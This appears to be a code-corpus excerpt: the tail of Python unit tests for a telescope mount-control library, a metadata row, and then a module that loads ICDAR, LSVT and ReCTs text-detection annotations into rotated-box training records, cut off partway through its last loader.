obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 0
suc = obsSite.moveWest()
self.assertEqual(suc, False)
def test_moveWest_2(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 0
suc = obsSite.moveWest()
self.assertEqual(suc, True)
def test_stopMoveNorth_1(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 0
suc = obsSite.stopMoveNorth()
self.assertEqual(suc, False)
def test_stopMoveNorth_2(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 0
suc = obsSite.stopMoveNorth()
self.assertEqual(suc, True)
def test_stopMoveEast_1(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 0
suc = obsSite.stopMoveEast()
self.assertEqual(suc, False)
def test_stopMoveEast_2(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 0
suc = obsSite.stopMoveEast()
self.assertEqual(suc, True)
def test_stopMoveSouth_1(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 0
suc = obsSite.stopMoveSouth()
self.assertEqual(suc, False)
def test_stopMoveSouth_2(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 0
suc = obsSite.stopMoveSouth()
self.assertEqual(suc, True)
def test_stopMoveWest_1(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 0
suc = obsSite.stopMoveWest()
self.assertEqual(suc, False)
def test_stopMoveWest_2(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 0
suc = obsSite.stopMoveWest()
self.assertEqual(suc, True)
def test_stopMoveAll_1(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 0
suc = obsSite.stopMoveAll()
self.assertEqual(suc, False)
def test_stopMoveAll_2(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 0
suc = obsSite.stopMoveAll()
self.assertEqual(suc, True)
def test_syncPositionToTarget_1(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 0
suc = obsSite.syncPositionToTarget()
self.assertEqual(suc, False)
def test_syncPositionToTarget_2(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 0
suc = obsSite.syncPositionToTarget()
self.assertEqual(suc, False)
def test_syncPositionToTarget_3(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['Coordinates']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 0
suc = obsSite.syncPositionToTarget()
self.assertEqual(suc, True)
| 38.095579 | 82 | 0.631249 | 6,806 | 63,772 | 5.801352 | 0.039083 | 0.083578 | 0.079779 | 0.124101 | 0.929946 | 0.901682 | 0.871011 | 0.808125 | 0.726218 | 0.69537 | 0 | 0.04183 | 0.261133 | 63,772 | 1,673 | 83 | 38.11835 | 0.796133 | 0.009111 | 0 | 0.705158 | 0 | 0.004619 | 0.076465 | 0.050346 | 0 | 0 | 0 | 0 | 0.204003 | 1 | 0.135489 | false | 0 | 0.006159 | 0 | 0.142417 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a2a03b765233abe2c0ab6bf5df3a0c96e9b42c1a | 56,517 | py | Python | maskrcnn_benchmark/data/datasets/rotation_series.py | clw5180/remote_sensing_object_detection_2019 | 7b348cc237238397798b41e536e212d2471d6da9 | [
"MIT"
] | 62 | 2019-08-23T02:01:22.000Z | 2021-12-19T03:35:49.000Z | maskrcnn_benchmark/data/datasets/rotation_series.py | efandong/remote_sensing_object_detection_2019 | 3810ab924d1899cf43e50c42a790674d738263d3 | [
"MIT"
] | 25 | 2019-08-23T02:19:00.000Z | 2022-01-08T11:26:56.000Z | maskrcnn_benchmark/data/datasets/rotation_series.py | efandong/remote_sensing_object_detection_2019 | 3810ab924d1899cf43e50c42a790674d738263d3 | [
"MIT"
] | 21 | 2019-08-23T02:21:59.000Z | 2022-02-13T04:08:26.000Z | import os
import pickle
import torch
import torch.utils.data
from PIL import Image
import sys
import numpy as np
import time
if sys.version_info[0] == 2:
import xml.etree.cElementTree as ET
else:
import xml.etree.ElementTree as ET
import json
from maskrcnn_benchmark.data.transforms import transforms as T
from maskrcnn_benchmark.structures.bounding_box import RBoxList
from maskrcnn_benchmark.utils.visualize import vis_image
import cv2
def get_ICDAR2013(mode, dataset_dir):
DATASET_DIR = dataset_dir
img_dir = "/ch2_training_images/"
gt_dir = "/ch2_training_localization_transcription_gt"
# gt_list = []
# img_list = []
im_infos = []
image_dir = DATASET_DIR + img_dir
gt_file_list = os.listdir(image_dir)
gt_words = []
if mode == 'train':
cache_pkl = './data_cache/IC13_training.pkl'
if os.path.isfile(cache_pkl):
return pickle.load(open(cache_pkl, 'rb'))
for image in gt_file_list:
prefix = image[:-4]
im_path = os.path.join(image_dir, image)
gt_path = os.path.join(dataset_dir + gt_dir, 'gt_' + prefix + '.txt')
print(im_path)
gt_list = open(gt_path, 'r', encoding='utf-8').readlines()
im = cv2.imread(im_path)
if im is None:
print(im_path + '--> None')
continue
boxes = []
for gt_ele in gt_list:
gt_ele = gt_ele.replace('\n', '').replace('\ufeff', '')
gt = gt_ele.split(',')
if len(gt) > 1:
gt_ind = np.array(gt[:8], dtype=np.float32)
gt_ind = np.array(gt_ind, dtype=np.int32)
words = gt[8]
pt1 = (int(gt_ind[0]), int(gt_ind[1]))
pt2 = (int(gt_ind[2]), int(gt_ind[3]))
pt3 = (int(gt_ind[4]), int(gt_ind[5]))
pt4 = (int(gt_ind[6]), int(gt_ind[7]))
edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1]))
edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1]))
angle = 0
if edge1 > edge2:
width = edge1
height = edge2
if pt1[0] - pt2[0] != 0:
angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180
else:
angle = 90.0
elif edge2 >= edge1:
width = edge2
height = edge1
# print pt2[0], pt3[0]
if pt2[0] - pt3[0] != 0:
angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180
else:
angle = 90.0
if angle < -45.0:
angle = angle + 180
x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2
y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2
if height * width * (800 / float(im.shape[0])) < 16 * 16 and mode == "train":
continue
# return to width, height
# if '###' in words:
# continue
boxes.append([x_ctr, y_ctr, width, height, angle, words])
gt_words.append(words)
cls_num = 2
len_of_bboxes = len(boxes)
gt_boxes = np.zeros((len_of_bboxes, 5), dtype=np.int16)
gt_classes = np.zeros((len_of_bboxes), dtype=np.int32)
overlaps = np.zeros((len_of_bboxes, cls_num), dtype=np.float32) # text or non-text
seg_areas = np.zeros((len_of_bboxes), dtype=np.float32)
for idx in range(len(boxes)):
gt_classes[idx] = 1 # cls_text
overlaps[idx, 1] = 1.0 # prob
seg_areas[idx] = (boxes[idx][2]) * (boxes[idx][3])
gt_boxes[idx, :] = [boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]]
# print ("boxes_size:", gt_boxes.shape[0])
if gt_boxes.shape[0] > 0:
max_overlaps = overlaps.max(axis=1)
# gt class that had the max overlap
max_classes = overlaps.argmax(axis=1)
else:
continue
im_info = {
'gt_classes': gt_classes,
'max_classes': max_classes,
'image': im_path,
'boxes': gt_boxes,
'gt_words': gt_words,
'flipped': False,
'gt_overlaps': overlaps,
'seg_areas': seg_areas,
'height': im.shape[0],
'width': im.shape[1],
'max_overlaps': max_overlaps,
'rotated': True
}
im_infos.append(im_info)
f_save_pkl = open(cache_pkl, 'wb')
pickle.dump(im_infos, f_save_pkl)
f_save_pkl.close()
print("Save pickle done.")
return im_infos
def get_ICDAR2015_RRC_PICK_TRAIN(mode, dataset_dir):
# dir_path = "/home/shiki-alice/Downloads/ICDAR2015/ch4_training_images/"
img_file_type = "jpg"
image_dir = os.path.join(dataset_dir, 'ch4_training_images/')
gt_dir = os.path.join(dataset_dir, 'ch4_training_localization_transcription_gt/')
image_list = os.listdir(image_dir)
image_list.sort()
im_infos = []
cache_file = './data_cache/IC15_training.pkl'
if os.path.isfile(cache_file):
return pickle.load(open(cache_file, 'rb'))
for image in image_list:
prefix = image[:-4]
img_name = os.path.join(image_dir, image)
gt_name = os.path.join(gt_dir, 'gt_' + prefix + '.txt')
# img_name = dir_path + img_list[idx]
# gt_name = gt_dir + gt_list[idx]
easy_boxes = []
hard_boxes = []
boxes = []
# print gt_name
gt_obj = open(gt_name, 'r')
gt_txt = gt_obj.read()
gt_split = gt_txt.split('\n')
img = cv2.imread(img_name)
print(img_name)
f = False
# print '-------------'
for gt_line in gt_split:
if not f:
gt_ind = gt_line.split('\\')
f = True
else:
gt_ind = gt_line.split(',')
if len(gt_ind) > 3 and '###' not in gt_ind[8]:
# condinate_list = gt_ind[2].split(',')
# print ("easy: ", gt_ind)
pt1 = (int(gt_ind[0]), int(gt_ind[1]))
pt2 = (int(gt_ind[2]), int(gt_ind[3]))
pt3 = (int(gt_ind[4]), int(gt_ind[5]))
pt4 = (int(gt_ind[6]), int(gt_ind[7]))
edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1]))
edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1]))
angle = 0
if edge1 > edge2:
width = edge1
height = edge2
if pt1[0] - pt2[0] != 0:
angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180
else:
angle = 90.0
elif edge2 >= edge1:
width = edge2
height = edge1
# print pt2[0], pt3[0]
if pt2[0] - pt3[0] != 0:
angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180
else:
angle = 90.0
if angle < -45.0:
angle = angle + 180
x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2
y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2
easy_boxes.append([x_ctr, y_ctr, width, height, angle])
if len(gt_ind) > 3 and '###' in gt_ind[8]:
# condinate_list = gt_ind[2].split(',')
# print "hard: ", gt_ind
pt1 = (int(gt_ind[0]), int(gt_ind[1]))
pt2 = (int(gt_ind[2]), int(gt_ind[3]))
pt3 = (int(gt_ind[4]), int(gt_ind[5]))
pt4 = (int(gt_ind[6]), int(gt_ind[7]))
edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1]))
edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1]))
angle = 0
if edge1 > edge2:
width = edge1
height = edge2
if pt1[0] - pt2[0] != 0:
angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180
else:
angle = 90.0
elif edge2 >= edge1:
width = edge2
height = edge1
# print pt2[0], pt3[0]
if pt2[0] - pt3[0] != 0:
angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180
else:
angle = 90.0
if angle < -45.0:
angle = angle + 180
x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2
y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2
hard_boxes.append([x_ctr, y_ctr, width, height, angle])
boxes.extend(easy_boxes)
boxes.extend(hard_boxes[0: int(len(hard_boxes) / 3)])
len_of_bboxes = len(boxes)
gt_boxes = np.zeros((len_of_bboxes, 5), dtype=np.int16)
gt_classes = np.zeros((len_of_bboxes), dtype=np.int32)
overlaps = np.zeros((len_of_bboxes, 2), dtype=np.float32) # text or non-text
seg_areas = np.zeros((len_of_bboxes), dtype=np.float32)
for idx in range(len(boxes)):
gt_boxes[idx, :] = [boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]]
gt_classes[idx] = 1 # cls_text
overlaps[idx, 1] = 1.0 # cls_text
seg_areas[idx] = (boxes[idx][2]) * (boxes[idx][3])
max_overlaps = overlaps.max(axis=1)
# gt class that had the max overlap
max_classes = overlaps.argmax(axis=1)
if gt_boxes.shape[0] <= 0:
continue
# print('gt_boxes:', gt_boxes)
im_info = {
'gt_classes': gt_classes,
'max_classes': max_classes,
'image': img_name,
'boxes': gt_boxes,
'flipped': False,
'gt_overlaps': overlaps,
'seg_areas': seg_areas,
'height': img.shape[0],
'width': img.shape[1],
'max_overlaps': max_overlaps,
'rotated': True
}
im_infos.append(im_info)
f_save_pkl = open(cache_file, 'wb')
pickle.dump(im_infos, f_save_pkl)
f_save_pkl.close()
print ("Save pickle done.")
return im_infos
def get_ICDAR2017_mlt(mode, dataset_dir):
DATASET_DIR = dataset_dir
task = 'double_class'
prefetched = True if os.path.isfile('./data_cache/ICDAR2017_training_cache.pkl') else False
im_infos = []
data_list = []
gt_list = []
img_type = ['jpg', 'png', 'gif']
cls_list = {'background': 0, 'Arabic': 1, 'English': 2, 'Japanese': 3, 'French': 4, 'German': 5, 'Chinese': 6,
'Korean': 7, 'Italian': 8, 'Bangla': 9}
if not prefetched:
# training set contains 7200 images with
if mode == "train":
for i in range(7200):
img_candidate_path = DATASET_DIR + "ch8_training_images_" + str(int(i / 1000) + 1) + "/" + 'img_' + str(
i + 1) + "."
if os.path.isfile(img_candidate_path + img_type[0]):
img_candidate_path += img_type[0]
elif os.path.isfile(img_candidate_path + img_type[1]):
img_candidate_path += img_type[1]
elif os.path.isfile(img_candidate_path + img_type[2]):
im = Image.open(img_candidate_path + img_type[2])
im = im.convert('RGB')
im.save(img_candidate_path + "jpg", "jpeg")
img_candidate_path = img_candidate_path + "jpg"
data_list.append(img_candidate_path)
# print ("data_list:", len(data_list))
gt_candidate_path = DATASET_DIR + "ch8_training_localization_transcription_gt/" + 'gt_img_' + str(
i + 1) + ".txt"
if os.path.isfile(gt_candidate_path):
gt_list.append(gt_candidate_path)
# print ("gt_list:", len(gt_list))
f_gt = open(gt_candidate_path)
f_content = f_gt.read()
lines = f_content.split('\n')
print (img_candidate_path)
img = cv2.imread(img_candidate_path)
boxes = []
for gt_line in lines:
# print (gt_line)
gt_ind = gt_line.split(',')
if len(gt_ind) > 3:
pt1 = (int(gt_ind[0]), int(gt_ind[1]))
pt2 = (int(gt_ind[2]), int(gt_ind[3]))
pt3 = (int(gt_ind[4]), int(gt_ind[5]))
pt4 = (int(gt_ind[6]), int(gt_ind[7]))
edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1]))
edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1]))
angle = 0
if edge1 > edge2:
width = edge1
height = edge2
if pt1[0] - pt2[0] != 0:
angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180
else:
angle = 90.0
elif edge2 >= edge1:
width = edge2
height = edge1
# print pt2[0], pt3[0]
if pt2[0] - pt3[0] != 0:
angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180
else:
angle = 90.0
if angle < -45.0:
angle = angle + 180
x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2
y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2
if height * width < 32 * 32:
continue
if not gt_ind[8].replace('\n', '') in ['English', 'French', 'German', 'Italian']:
continue
boxes.append([x_ctr, y_ctr, width, height, angle, gt_ind[8]])
# print ("line_size:", len(lines))
cls_num = 2
if task == "multi_class":
cls_num = len(cls_list.keys())
len_of_bboxes = len(boxes)
gt_boxes = np.zeros((len_of_bboxes, 5), dtype=np.int16)
gt_classes = np.zeros((len_of_bboxes), dtype=np.int32)
overlaps = np.zeros((len_of_bboxes, cls_num), dtype=np.float32) # text or non-text
seg_areas = np.zeros((len_of_bboxes), dtype=np.float32)
if task == "multi_class":
gt_boxes = [] # np.zeros((len_of_bboxes, 5), dtype=np.int16)
gt_classes = [] # np.zeros((len_of_bboxes), dtype=np.int32)
overlaps = [] # np.zeros((len_of_bboxes, cls_num), dtype=np.float32) #text or non-text
seg_areas = [] # np.zeros((len_of_bboxes), dtype=np.float32)
for idx in range(len(boxes)):
if task == "multi_class":
if not boxes[idx][5] in cls_list:
print (boxes[idx][5] + " not in list")
continue
gt_classes.append(cls_list[boxes[idx][5]]) # cls_text
overlap = np.zeros((cls_num))
overlap[cls_list[boxes[idx][5]]] = 1.0 # prob
overlaps.append(overlap)
seg_areas.append((boxes[idx][2]) * (boxes[idx][3]))
gt_boxes.append([boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]])
else:
gt_classes[idx] = 1 # cls_text
overlaps[idx, 1] = 1.0 # prob
seg_areas[idx] = (boxes[idx][2]) * (boxes[idx][3])
gt_boxes[idx, :] = [boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]]
if task == "multi_class":
gt_classes = np.array(gt_classes)
overlaps = np.array(overlaps)
seg_areas = np.array(seg_areas)
gt_boxes = np.array(gt_boxes)
# print ("boxes_size:", gt_boxes.shape[0])
if gt_boxes.shape[0] > 0:
max_overlaps = overlaps.max(axis=1)
# gt class that had the max overlap
max_classes = overlaps.argmax(axis=1)
else:
continue
im_info = {
'gt_classes': gt_classes,
'max_classes': max_classes,
'image': img_candidate_path,
'boxes': gt_boxes,
'flipped': False,
'gt_overlaps': overlaps,
'seg_areas': seg_areas,
'height': img.shape[0],
'width': img.shape[1],
'max_overlaps': max_overlaps,
'rotated': True
}
im_infos.append(im_info)
f_save_pkl = open('./data_cache/ICDAR2017_training_cache.pkl', 'wb')
pickle.dump(im_infos, f_save_pkl)
f_save_pkl.close()
print ("Save pickle done.")
elif mode == "validation":
for i in range(1800):
img_candidate_path = DATASET_DIR + "ch8_validation_images/" + 'img_' + str(i + 1) + "."
if os.path.isfile(img_candidate_path + img_type[0]):
img_candidate_path += img_type[0]
elif os.path.isfile(img_candidate_path + img_type[1]):
img_candidate_path += img_type[1]
elif os.path.isfile(img_candidate_path + img_type[2]):
im = Image.open(img_candidate_path + img_type[2])
im = im.convert('RGB')
im.save(img_candidate_path + "jpg", "jpeg")
img_candidate_path = img_candidate_path + "jpg"
data_list.append(img_candidate_path)
# print ("data_list:", len(data_list))
gt_candidate_path = DATASET_DIR + "ch8_validation_localization_transcription_gt/" + 'gt_img_' + str(
i + 1) + ".txt"
if os.path.isfile(gt_candidate_path):
gt_list.append(gt_candidate_path)
# print ("gt_list:", len(gt_list))
f_gt = open(gt_candidate_path)
f_content = f_gt.read()
lines = f_content.split('\n')
print (img_candidate_path)
img = cv2.imread(img_candidate_path)
boxes = []
for gt_line in lines:
# print (gt_line)
gt_ind = gt_line.split(',')
if len(gt_ind) > 3:
pt1 = (int(gt_ind[0]), int(gt_ind[1]))
pt2 = (int(gt_ind[2]), int(gt_ind[3]))
pt3 = (int(gt_ind[4]), int(gt_ind[5]))
pt4 = (int(gt_ind[6]), int(gt_ind[7]))
edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1]))
edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1]))
angle = 0
if edge1 > edge2:
width = edge1
height = edge2
if pt1[0] - pt2[0] != 0:
angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180
else:
angle = 90.0
elif edge2 >= edge1:
width = edge2
height = edge1
# print pt2[0], pt3[0]
if pt2[0] - pt3[0] != 0:
angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180
else:
angle = 90.0
if angle < -45.0:
angle = angle + 180
x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2
y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2
if height * width * (800 / float(img.shape[0])) < 16 * 16 and mode == "train":
continue
boxes.append([x_ctr, y_ctr, width, height, angle, gt_ind[8]])
cls_num = 2
if task == "multi_class":
cls_num = len(cls_list.keys())
len_of_bboxes = len(boxes)
gt_boxes = np.zeros((len_of_bboxes, 5), dtype=np.int16)
gt_classes = np.zeros((len_of_bboxes), dtype=np.int32)
overlaps = np.zeros((len_of_bboxes, cls_num), dtype=np.float32) # text or non-text
seg_areas = np.zeros((len_of_bboxes), dtype=np.float32)
for idx in range(len(boxes)):
if task == "multi_class":
if not boxes[idx][5] in cls_list:
break
gt_classes[idx] = cls_list[boxes[idx][5]] # cls_text
overlaps[idx, cls_list[boxes[idx][5]]] = 1.0 # prob
else:
gt_classes[idx] = 1 # cls_text
overlaps[idx, 1] = 1.0 # prob
seg_areas[idx] = (boxes[idx][2]) * (boxes[idx][3])
gt_boxes[idx, :] = [boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]]
max_overlaps = overlaps.max(axis=1)
# gt class that had the max overlap
max_classes = overlaps.argmax(axis=1)
im_info = {
'gt_classes': gt_classes,
'max_classes': max_classes,
'image': img_candidate_path,
'boxes': gt_boxes,
'flipped': False,
'gt_overlaps': overlaps,
'seg_areas': seg_areas,
'height': img.shape[0],
'width': img.shape[1],
'max_overlaps': max_overlaps,
'rotated': True
}
im_infos.append(im_info)
f_save_pkl = open('ICDAR2017_validation_cache.pkl', 'wb')
pickle.dump(im_infos, f_save_pkl)
f_save_pkl.close()
print ("Save pickle done.")
else:
if mode == "train":
f_pkl = open('./data_cache/ICDAR2017_training_cache.pkl', 'rb')
im_infos = pickle.load(f_pkl)
if mode == "validation":
f_pkl = open('ICDAR2017_validation_cache.pkl', 'rb')
im_infos = pickle.load(f_pkl)
return im_infos
def get_ICDAR_LSVT_full(mode, dataset_dir):
assert mode in ['train', 'val', 'full'], 'mode not in ' + str(['train', 'val', 'full'])
data_split = {
'val':[0, 3000],
'train':[3000, 30000],
'full':[0, 30000]
}
vis = False
cache_file = './data_cache/LSVT_det_' + mode + '.pkl'
if os.path.isfile(cache_file):
print('dataset cache found, loading from it...')
im_infos = pickle.load(open(cache_file, 'rb'))
print('load done')
return im_infos
im_codes = range(data_split[mode][0], data_split[mode][1])
gt_json = os.path.join(dataset_dir, 'train_full_labels.json')
gt_dict = json.load(open(gt_json, 'r'))
im_infos = []
num_samples = data_split[mode][1] - data_split[mode][0]
for imnum in im_codes:
forder = int(imnum / 15000)
imfolder = os.path.join(dataset_dir, 'train_full_images_'+str(forder), 'train_full_images_'+str(forder))
impath = os.path.join(imfolder, 'gt_' + str(imnum) + '.jpg')
gt_code = 'gt_' + str(imnum)
gt_anno = gt_dict[gt_code]
inst_num = len(gt_anno)
im = cv2.imread(impath)
easy_boxes = []
hard_boxes = []
print(str(imnum) + '/' + str(data_split[mode][0] + num_samples), impath)
for i in range(inst_num):
inst = gt_anno[i]
# print(inst.keys())
poly = np.array(inst['points'])
words = inst['transcription']
illegibility = inst['illegibility']
color = (255, 0, 255) if illegibility else (0, 0, 255)
if poly.shape[0] > 4:
# print('polygon:', poly.shape[0])
rect = cv2.minAreaRect(poly)
poly = np.array(cv2.boxPoints(rect), np.int)
# print('rect:', rect)
if vis:
rect_pt_num = rect.shape[0]
for i in range(rect.shape[0]):
cv2.line(im, (rect[i % rect_pt_num][0], rect[i % rect_pt_num][1]),
(rect[(i + 1) % rect_pt_num][0], rect[(i + 1) % rect_pt_num][1]), (0, 255, 0), 2)
if vis:
pt_num = poly.shape[0]
for i in range(poly.shape[0]):
cv2.line(im, (poly[i % pt_num][0], poly[i % pt_num][1]),
(poly[(i + 1) % pt_num][0], poly[(i + 1) % pt_num][1]), color, 2)
poly = poly.reshape(-1)
pt1 = (int(poly[0]), int(poly[1]))
pt2 = (int(poly[2]), int(poly[3]))
pt3 = (int(poly[4]), int(poly[5]))
pt4 = (int(poly[6]), int(poly[7]))
edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1]))
edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1]))
angle = 0
if edge1 > edge2:
width = edge1
height = edge2
if pt1[0] - pt2[0] != 0:
angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180
else:
angle = 90.0
elif edge2 >= edge1:
width = edge2
height = edge1
# print pt2[0], pt3[0]
if pt2[0] - pt3[0] != 0:
angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180
else:
angle = 90.0
if angle < -45.0:
angle = angle + 180
x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2
y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2
# if height * width * (800 / float(img.shape[0])) < 16 * 16 and mode == "train":
# continue
if illegibility:
hard_boxes.append([x_ctr, y_ctr, width, height, angle])
else:
easy_boxes.append([x_ctr, y_ctr, width, height, angle])
# boxes.append([x_ctr, y_ctr, width, height, angle, gt_ind[8]])
# img_pil = Image.fromarray(im)
boxes = []
boxes.extend(easy_boxes)
boxes.extend(hard_boxes[0: int(len(hard_boxes) / 5)])
len_of_bboxes = len(boxes)
gt_boxes = np.zeros((len_of_bboxes, 5), dtype=np.int16)
gt_classes = np.zeros((len_of_bboxes), dtype=np.int32)
overlaps = np.zeros((len_of_bboxes, 2), dtype=np.float32) # text or non-text
seg_areas = np.zeros((len_of_bboxes), dtype=np.float32)
for idx in range(len(boxes)):
gt_boxes[idx, :] = [boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]]
gt_classes[idx] = 1 # cls_text
overlaps[idx, 1] = 1.0 # cls_text
seg_areas[idx] = (boxes[idx][2]) * (boxes[idx][3])
# img_pil = vis_image(img_pil, gt_boxes)
# img_pil.save('gt_LSVT.jpg', 'jpeg')
# break
max_overlaps = overlaps.max(axis=1)
# gt class that had the max overlap
max_classes = overlaps.argmax(axis=1)
if gt_boxes.shape[0] <= 0 or gt_boxes.shape[0] > 100:
continue
# print('gt_boxes:', gt_boxes)
im_info = {
'gt_classes': gt_classes,
'max_classes': max_classes,
'image': impath,
'boxes': gt_boxes,
'flipped': False,
'gt_overlaps': overlaps,
'seg_areas': seg_areas,
'height': im.shape[0],
'width': im.shape[1],
'max_overlaps': max_overlaps,
'rotated': True
}
im_infos.append(im_info)
print('Saving pkls...')
pkl_f = open(cache_file, 'wb')
pickle.dump(im_infos, pkl_f)
pkl_f.close()
print('done')
return im_infos
def get_ICDAR_ReCTs_full(mode, dataset_dir):
assert mode in ['train', 'val', 'full'], 'mode not in ' + str(['train', 'val', 'full'])
data_split = {
'val':[0, 3000],
'train':[0, 18000],
'full':[0, 30000]
}
vis = False
cache_file = './data_cache/ReCTs_det_' + mode + '.pkl'
if os.path.isfile(cache_file):
print('dataset cache found, loading from it...')
im_infos = pickle.load(open(cache_file, 'rb'))
print('load done')
return im_infos
# im_codes = range(data_split[mode][0], data_split[mode][1])
# gt_json = os.path.join(dataset_dir, 'train_full_labels.json')
